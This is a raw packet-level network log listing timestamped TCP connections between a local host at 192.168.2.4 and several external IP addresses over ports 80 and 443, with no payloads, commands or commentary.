Mar 24, 2023 01:27:10.184746027 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.184746027 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.184751034 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.184823036 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.184832096 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.184894085 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.184962034 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.185030937 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.185098886 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.185112953 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.185112953 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.185168982 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.185236931 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.185306072 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.185312033 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.185386896 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.185456038 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.185466051 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.185525894 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.185589075 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.185595036 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.185674906 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.185700893 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.185771942 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.185843945 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.185868979 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.185916901 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.185985088 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.186028957 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.186055899 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.186125040 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.186166048 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.186192989 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.186261892 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.186286926 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.186331987 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.186403990 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.186474085 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.186541080 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.186573029 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.186573029 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.186609983 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.186676025 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.186678886 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.186820030 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.186891079 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.186958075 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.186959028 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.187026024 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.187093973 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.187155008 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.187155008 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.187161922 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.187238932 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.187306881 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.187374115 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.187443018 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.187514067 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.187585115 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.187596083 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.187596083 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.187648058 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.187655926 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.187732935 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.187781096 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.187802076 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.187920094 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.187988997 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.188055992 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.188080072 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.188080072 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.188124895 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.188191891 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.188258886 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.188321114 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.188321114 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.188327074 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.188396931 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.188463926 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.188465118 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.188543081 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.188611984 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.188612938 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.188683033 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.188750982 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.188817978 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.188880920 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.188880920 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.188885927 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.188996077 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.189066887 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.189076900 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.189136982 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.189213991 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.189281940 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.189349890 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.189419985 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.189487934 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.189543962 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.189543962 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.189543962 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.189557076 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.189625978 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.189691067 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.189692974 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.189764023 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.189806938 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.189832926 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.189902067 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.189970016 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.190030098 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.190030098 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.190073967 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.190145016 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.190211058 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.190263033 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.190278053 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.190350056 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.190360069 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.190433025 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.190480947 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.190512896 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.190545082 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.190578938 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.190613031 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.190644979 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.190677881 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.190733910 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.190767050 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.190799952 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.190840960 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.190934896 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.191086054 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.225388050 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.225462914 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.225508928 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.246479034 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.246601105 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.246665955 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.246752977 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.246752977 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.246752977 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.246814013 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.246872902 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.246927977 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.246985912 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.247040987 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.247097969 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.247103930 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.247103930 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.247103930 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.247157097 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.247215986 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.247272015 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.247327089 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.247385025 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.247401953 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.247401953 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.247446060 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.247503996 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.247565031 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.247565985 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.247565031 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.247622967 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.247680902 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.247736931 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.247793913 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.247826099 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.247826099 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.247840881 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.247904062 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.247910023 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.247961998 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.248016119 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.248078108 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.248136044 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.248193026 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.248193026 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.248193026 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.248255014 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.248312950 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.248369932 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.248378992 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.248378992 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.248420954 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.248455048 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.248512030 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.248583078 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.248595953 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.248595953 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.248641014 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.248697996 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.248781919 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.248846054 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.248904943 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.248961926 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.249018908 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.249073982 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.249133110 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.249135971 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.249135971 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.249135971 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.249188900 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.249244928 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.249300003 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.249355078 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.249417067 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.249418974 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.249418974 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.249501944 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.249560118 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.249609947 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.249640942 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.249640942 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.366749048 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:12.342185974 CET	49727	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:27:12.398266077 CET	80	49727	109.98.58.98	192.168.2.4
Mar 24, 2023 01:27:12.398394108 CET	49727	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:27:12.398664951 CET	49727	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:27:12.398725986 CET	49727	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:27:12.454608917 CET	80	49727	109.98.58.98	192.168.2.4
Mar 24, 2023 01:27:12.539508104 CET	80	49727	109.98.58.98	192.168.2.4
Mar 24, 2023 01:27:12.539592981 CET	80	49727	109.98.58.98	192.168.2.4
Mar 24, 2023 01:27:12.539696932 CET	49727	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:27:12.539697886 CET	49727	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:27:12.546083927 CET	49727	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:27:12.600775957 CET	80	49727	109.98.58.98	192.168.2.4
Mar 24, 2023 01:27:17.281229019 CET	49728	80	192.168.2.4	208.95.112.1
Mar 24, 2023 01:27:17.313421011 CET	80	49728	208.95.112.1	192.168.2.4
Mar 24, 2023 01:27:17.313637018 CET	49728	80	192.168.2.4	208.95.112.1
Mar 24, 2023 01:27:17.314398050 CET	49728	80	192.168.2.4	208.95.112.1
Mar 24, 2023 01:27:17.348083019 CET	80	49728	208.95.112.1	192.168.2.4
Mar 24, 2023 01:27:17.348195076 CET	49728	80	192.168.2.4	208.95.112.1
Mar 24, 2023 01:27:17.387676954 CET	49730	80	192.168.2.4	84.252.73.140
Mar 24, 2023 01:27:17.461815119 CET	80	49730	84.252.73.140	192.168.2.4
Mar 24, 2023 01:27:17.463114977 CET	49730	80	192.168.2.4	84.252.73.140
Mar 24, 2023 01:27:17.465198040 CET	49730	80	192.168.2.4	84.252.73.140
Mar 24, 2023 01:27:17.530580044 CET	80	49730	84.252.73.140	192.168.2.4
Mar 24, 2023 01:27:17.794943094 CET	80	49730	84.252.73.140	192.168.2.4
Mar 24, 2023 01:27:17.795008898 CET	80	49730	84.252.73.140	192.168.2.4
Mar 24, 2023 01:27:17.795046091 CET	49730	80	192.168.2.4	84.252.73.140
Mar 24, 2023 01:27:17.795101881 CET	49730	80	192.168.2.4	84.252.73.140
Mar 24, 2023 01:27:17.879323006 CET	49732	80	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:17.903769970 CET	80	49732	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:17.903981924 CET	49732	80	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:17.904376030 CET	49732	80	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:17.928885937 CET	80	49732	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:17.928939104 CET	80	49732	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:17.929075956 CET	49732	80	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:17.975241899 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:17.975294113 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:17.975435972 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:18.007599115 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:18.007627010 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:18.119332075 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:18.119524002 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:18.467803955 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:18.467856884 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:18.469158888 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:18.469218969 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:18.471513033 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:18.471535921 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.200154066 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.200187922 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.200215101 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.200244904 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.200256109 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.200297117 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.200387955 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.200567007 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.200598955 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.200663090 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.200663090 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.200673103 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.201739073 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.224600077 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.224648952 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.224705935 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.224716902 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.224761963 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.224792957 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.225147009 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.225174904 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.225256920 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.225258112 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.225267887 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.225523949 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.225568056 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.225585938 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.225650072 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.225658894 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.225686073 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.226186991 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.248733997 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.248775005 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.248912096 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.248912096 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.248929977 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.249217987 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.250204086 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.250248909 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.250304937 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.250322104 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.250581026 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.251002073 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.251054049 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.251116991 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.251117945 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.251137018 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.251204967 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.251461983 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.251496077 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.251559019 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.251559019 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.251573086 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.252264977 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.252305031 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.252386093 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.252386093 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.252401114 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.252588034 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.252794981 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.252826929 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.252921104 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.252921104 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.252937078 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.253242970 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.274450064 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.274516106 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.274714947 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.274745941 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.275039911 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.276364088 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.276408911 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.276567936 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.276567936 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.276591063 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.277605057 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:19.278012037 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:19.278055906 CET	443	49733	144.76.136.153	192.168.2.4
